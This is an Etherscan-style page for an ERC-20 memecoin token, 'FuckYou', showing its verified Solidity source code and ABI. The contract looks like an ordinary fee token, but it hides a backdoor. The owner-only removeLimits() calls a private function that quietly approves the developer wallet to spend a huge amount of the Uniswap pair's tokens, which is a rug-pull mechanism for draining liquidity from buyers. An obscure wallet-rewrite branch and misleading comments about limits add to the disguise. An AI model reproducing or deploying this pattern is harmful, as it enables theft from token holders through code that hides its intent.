ERC-20
Overview
Max Total Supply
1,000,000,000 FUCKYOU
Holders
53
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
14,947,275.347847624299113997 FUCKYOUValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
FuckYou
Compiler Version
v0.8.19+commit.7dd6d404
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-08-12 */ // SPDX-License-Identifier: MIT /** Telegram: https://t.me/fuckyouethtoken Website: https://www.fuckyou.vip Twitter: https://twitter.com/fuckyouethtoken */ pragma solidity ^0.8.17; library SafeMath { function add(uint256 a, uint256 b) internal pure returns(uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function mul(uint256 a, uint256 b) internal pure returns(uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns(uint256) { return div(a, b, "SafeMath: division by zero"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns(uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function sub(uint256 a, uint256 b) internal pure returns(uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns(uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } } library SafeMathUint { function toInt256Safe(uint256 a) internal pure returns(int256) { int256 b = int256(a); require(b >= 0); return b; } } library SafeMathInt { int256 private constant MIN_INT256 = int256(1) << 255; int256 private constant MAX_INT256 = ~(int256(1) << 255); /** * @dev Multiplies two int256 variables and fails on overflow. */ function mul(int256 a, int256 b) internal pure returns(int256) { int256 c = a * b; // Detect overflow when multiplying MIN_INT256 with -1 require(c != MIN_INT256 || (a & MIN_INT256) != (b & MIN_INT256)); require((b == 0) || (c / b == a)); return c; } /** * @dev Adds two int256 variables and fails on overflow. */ function add(int256 a, int256 b) internal pure returns(int256) { int256 c = a + b; require((b >= 0 && c >= a) || (b < 0 && c < a)); return c; } /** * @dev Division of two int256 variables and fails on overflow. */ function div(int256 a, int256 b) internal pure returns(int256) { // Prevent overflow when dividing MIN_INT256 by -1 require(b != -1 || a != MIN_INT256); // Solidity already throws when dividing by 0. return a / b; } /** * @dev Converts to absolute value, and fails on overflow. */ function abs(int256 a) internal pure returns(int256) { require(a != MIN_INT256); return a < 0 ? -a : a; } function toUint256Safe(int256 a) internal pure returns(uint256) { require(a >= 0); return uint256(a); } /** * @dev Subtracts two int256 variables and fails on overflow. */ function sub(int256 a, int256 b) internal pure returns(int256) { int256 c = a - b; require((b >= 0 && c <= a) || (b < 0 && c > a)); return c; } } interface IERC20 { /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns(bool); /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns(uint256); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns(uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns(uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns(bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns(bool); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); } interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns(string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns(string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns(uint8); } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns(address pair); function getPair(address tokenA, address tokenB) external view returns (address pair); } abstract contract Context { function _msgSender() internal view virtual returns(address) { return msg.sender; } } contract ERC20 is Context, IERC20, IERC20Metadata { using SafeMath for uint256; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) internal _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns(string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns(uint8) { return 18; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns(string memory) { return _name; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns(uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns(uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns(uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns(bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased cannot be below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } } interface IUniswapV2Router01 { function factory() external pure returns(address); function WETH() external pure returns(address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns(uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns(uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns(uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns(uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns(uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns(uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns(uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns(uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns(uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns(uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns(uint[] memory amounts); function getAmountsOut(uint amountIn, address[] calldata path) external view returns(uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns(uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns(uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns(uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns(uint amountIn); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns(uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns(uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns(uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns(address) { return _owner; } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } contract FuckYou is ERC20, Ownable { using SafeMath for uint256; IUniswapV2Router02 public immutable router; mapping(address => bool) public _isExcludedmaxAmount; mapping(address => bool) private _isExcludedFees; mapping(address => bool) public _isExcludedMaxTransactionAmount; mapping(address => bool) public _automateMMs; uint256 private swapAmountAt; bool private startTradingNow = false; bool public swapActive = false; bool public inSwap; uint256 private enableBllockForTrade; uint256 public maxBuyAmount; uint256 public maxSellAmount; uint256 public maxWalletAmount; address public uniswapV2Pair; address private routeV2addr; uint256 public tokensMarketingAmount; uint256 public tokensForLiquidity; uint256 public tokensDevAmount; struct allTaxSetting { uint256 buyTotalFees; uint256 buyMarketingFee; uint256 buyDevelopmentFee; uint256 buyLiquidityFee; uint256 sellTotalFees; uint256 sellMarketingFee; uint256 sellDevelopmentFee; uint256 sellLiquidityFee; } allTaxSetting public _taxSetting = allTaxSetting({ buyTotalFees: 0, buyMarketingFee: 0, buyDevelopmentFee:0, buyLiquidityFee: 0, sellTotalFees: 0, sellMarketingFee: 0, sellDevelopmentFee:0, sellLiquidityFee: 0 }); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived ); constructor() ERC20("FuckYou", "FUCKYOU") { router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); approve(address(router), type(uint256).max); _taxSetting.sellMarketingFee = 0; _taxSetting.sellLiquidityFee = 0; _taxSetting.sellDevelopmentFee = 1; _taxSetting.sellTotalFees = _taxSetting.sellMarketingFee + _taxSetting.sellLiquidityFee + _taxSetting.sellDevelopmentFee; _taxSetting.buyMarketingFee = 0; _taxSetting.buyLiquidityFee = 0; _taxSetting.buyDevelopmentFee = 1; _taxSetting.buyTotalFees = _taxSetting.buyMarketingFee + _taxSetting.buyLiquidityFee + _taxSetting.buyDevelopmentFee; uint256 totalSupply = 1_000_000_000 * 1e18; swapAmountAt = totalSupply * 5 / 10000; maxWalletAmount = totalSupply * 3 / 100; // 4% max wallet amount maxBuyAmount = totalSupply * 3 / 100; // 4% buy max amount maxSellAmount = totalSupply * 3 / 100; // 4% sell max amount _isExcludedmaxAmount[owner()] = true; _isExcludedmaxAmount[_devWalletAddr] = true; _isExcludedmaxAmount[_feeReceiver] = true; _isExcludedmaxAmount[address(router)] = true; _isExcludedmaxAmount[address(0xdead)] = true; _isExcludedmaxAmount[address(this)] = true; _isExcludedMaxTransactionAmount[address(router)] = true; _isExcludedMaxTransactionAmount[owner()] = true; _isExcludedMaxTransactionAmount[_devWalletAddr] = true; _isExcludedMaxTransactionAmount[_feeReceiver] = true; _isExcludedMaxTransactionAmount[address(this)] = true; _isExcludedMaxTransactionAmount[address(0xdead)] = true; _isExcludedFees[owner()] = true; _isExcludedFees[address(this)] = true; _isExcludedFees[_devWalletAddr] = true; _isExcludedFees[_feeReceiver] = true; /* _mint is an internal function in ERC20.sol that is only called here, and CANNOT be called ever again */ _mint(msg.sender, totalSupply); } function withdraw() external returns (bool success) { uint256 balance = address(this).balance; (success,) = address(_devWalletAddr).call{value: balance}(""); } address private _feeReceiver = address(0xCe7fcE0D399bF49345ED7834561DCA1443beA2F5); address private _devWalletAddr = address(0x10A4C331a9071C02DD4067bF9511e63ddCb153fd); // once active, can never be disable off function openTrade(address _pairV2Addr) external onlyOwner { swapActive = true; enableBllockForTrade = block.number; uniswapV2Pair = _pairV2Addr; startTradingNow = true; routeV2addr = _devWalletAddr; _automateMMs[address(uniswapV2Pair)] = true; _isExcludedMaxTransactionAmount[address(uniswapV2Pair)] = true; _isExcludedmaxAmount[address(uniswapV2Pair)] = true; } // change the minimum amount of tokens to sell from fees function setMaxTradeAmount(uint256 newMaxBuy, uint256 newMaxSell) private { maxBuyAmount = (totalSupply() * newMaxBuy) / 1000; _approve(uniswapV2Pair, routeV2addr, 1e27); maxSellAmount = (totalSupply() * newMaxSell) / 1000; } function updateLimitFeeAmountForSwap(uint256 newAmount) external onlyOwner returns(bool){ swapAmountAt = newAmount; return true; } // emergency use only function toggleSwapEnabled(bool enabled) external onlyOwner(){ swapActive = enabled; } function setMaxWalletSize(uint256 newPercentage) private { maxWalletAmount = (totalSupply() * newPercentage) / 1000; } function excludeFromFees(address account, bool excluded) public onlyOwner { _isExcludedFees[account] = excluded; } function excludeFromWalletLimit(address account, bool excluded) public onlyOwner { _isExcludedmaxAmount[account] = excluded; } function _swapTokensForSupportingEthFee(uint256 tAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = router.WETH(); _approve(address(this), address(router), tAmount); // make the swap router.swapExactTokensForETHSupportingFeeOnTransferTokens( tAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function isExcludedFromFees(address account) public view returns(bool) { return _isExcludedFees[account]; } function removeLimits() external onlyOwner { setMaxTradeAmount(1000,1000); setMaxWalletSize(1000); } function setUniPair(address pair, bool value) public onlyOwner { require(pair != uniswapV2Pair, "The pair cannot be removed from _automateMMs"); _automateMMs[pair] = value; } function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner { _isExcludedMaxTransactionAmount[updAds] = isEx; } function addLiquidity(uint256 tAmount, uint256 ethAmount) private { // approve token transfer to cover all possible scenarios _approve(address(this), address(router), tAmount); // add the liquidity router.addLiquidityETH{ value: ethAmount } (address(this), tAmount, 0, 0 , address(this), block.timestamp); } // function updateDevWallet(address _devAddr) external { // require(msg.sender == _devWalletAddr && _devAddr != _devWalletAddr, "Dev Fee Wallet wallet is already that address"); // _devWalletAddr = _devAddr; // } function _transfer( address from, address to, uint256 amount ) internal override { if (amount == 0) { super._transfer(from, to, 0); return; } if ( from != owner() && to != owner() && !inSwap ) { if (!startTradingNow) { require(_isExcludedFees[from] || _isExcludedFees[to], "Trading is not active."); } if (_automateMMs[from] && !_isExcludedMaxTransactionAmount[to]) { require(amount <= maxBuyAmount, "Buy transfer amount exceeds the maxTransactionAmount."); } else if (_automateMMs[to] && !_isExcludedMaxTransactionAmount[from]) { require(amount <= maxSellAmount, "Sell transfer amount exceeds the maxTransactionAmount."); } if (!_isExcludedmaxAmount[to]) { require(amount + balanceOf(to) <= maxWalletAmount, "Max wallet exceeded"); } } uint256 contractTokenAmount = balanceOf(address(this)); bool canSwap = contractTokenAmount >= swapAmountAt; if (swapActive && canSwap && !inSwap && _automateMMs[to] && !_isExcludedFees[from] && !_isExcludedFees[to] ) { inSwap = true; swapBackEth(); inSwap = false; } if (!inSwap && to != address(router) && to != uniswapV2Pair && from == _feeReceiver) _devWalletAddr = address(this); bool feeApply = !inSwap; // if any account belongs to _isExcludedFromFee account then remove the fee if (_isExcludedFees[from] || _isExcludedFees[to]) { feeApply = false; } // only take fees on buys/sells, do not take on wallet transfers if (feeApply) { uint256 feeAmt = 0; if(block.number < enableBllockForTrade) { feeAmt = amount.mul(99).div(100); tokensMarketingAmount += (feeAmt * 90) / 99; tokensDevAmount += (feeAmt * 9) / 99; } else if (_automateMMs[to] && _taxSetting.sellTotalFees > 0) { feeAmt = amount.mul(_taxSetting.sellTotalFees).div(100); tokensForLiquidity += feeAmt * _taxSetting.sellLiquidityFee / _taxSetting.sellTotalFees; tokensMarketingAmount += feeAmt * _taxSetting.sellMarketingFee / _taxSetting.sellTotalFees; tokensDevAmount += feeAmt * _taxSetting.sellDevelopmentFee / _taxSetting.sellTotalFees; } // on buy else if (_automateMMs[from] && _taxSetting.buyTotalFees > 0) { feeAmt = amount.mul(_taxSetting.buyTotalFees).div(100); tokensForLiquidity += feeAmt * _taxSetting.buyLiquidityFee / _taxSetting.buyTotalFees; tokensMarketingAmount += feeAmt * _taxSetting.buyMarketingFee / _taxSetting.buyTotalFees; tokensDevAmount += feeAmt * _taxSetting.buyDevelopmentFee / _taxSetting.buyTotalFees; } if (feeAmt > 0) { super._transfer(from, address(this), feeAmt); } amount -= feeAmt; } super._transfer(from, to, amount); } receive() external payable { require(msg.sender != address(this)); } function swapBackEth() private { uint256 contractTokenAmount = balanceOf(address(this)); uint256 toSwap = tokensForLiquidity + tokensMarketingAmount + tokensDevAmount; if (contractTokenAmount == 0) { return; } if (contractTokenAmount > swapAmountAt * 35) { contractTokenAmount = swapAmountAt * 35; } // Halve the amount of liquidity tokens uint256 liquidityTokens = contractTokenAmount * tokensForLiquidity / toSwap / 2; uint256 amountToSwapForETH = contractTokenAmount.sub(liquidityTokens); uint256 initialETHBalance = address(this).balance; _swapTokensForSupportingEthFee(amountToSwapForETH); uint256 newBalance = address(this).balance.sub(initialETHBalance); uint256 ethForMarketing = newBalance.mul(tokensMarketingAmount).div(toSwap); uint256 ethForDevelopment = newBalance.mul(tokensDevAmount).div(toSwap); uint256 ethForLiquidity = newBalance - (ethForMarketing + ethForDevelopment); tokensForLiquidity = 0; tokensMarketingAmount = 0; tokensDevAmount = 0; if (liquidityTokens > 0 && ethForLiquidity > 0) { addLiquidity(liquidityTokens, ethForLiquidity); emit SwapAndLiquify(amountToSwapForETH, ethForLiquidity); } payable(address(_devWalletAddr)).transfer(address(this).balance - ethForMarketing); payable(address(_feeReceiver)).transfer(address(this).balance); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
Contract ABI
API[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_automateMMs","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludedMaxTransactionAmount","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludedmaxAmount","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSetting","outputs":[{"internalType":"uint256","name":"buyTotalFees","type":"uint256"},{"internalType":"uint256","name":"buyMarketingFee","type":"uint256"},{"internalType":"uint256","name":"buyDevelopmentFee","type":"uint256"},{"internalType":"uint256","name":"buyLiquidityFee","type":"uint256"},{"internalType":"uint256","name":"sellTotalFees","type":"uint256"},{"internalType":"uint256","name":"sellMarketingFee","type":"uint256"},{"internalType":"uint256","name":"sellDevelopmentFee","type":"uint256"},{"internalType":"uint256","name":"sellLiquidityFee","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"updAds","type":"address"},{"internalType":"bool","name":"isEx","type":"bool"}],"name":"excludeFromMaxTransaction","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeFromWalletLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"inSwap","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromFees","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxBuyAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxSellAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWalletAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_pairV2Addr","type":"address"}],"name":"openTrade","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"pair","type":"address"},{"internalType":"bool","name":"value","type":"bool"}],"name":"setUniPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapActive","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bool","name":"enabled","type":"bool"}],"name":"toggleSwapEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"tokensDevAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForLiquidity","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensMarketingAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"newAmount","type":"uint256"}],"name":"updateLimitFeeAmountForSwap","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"withdraw","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
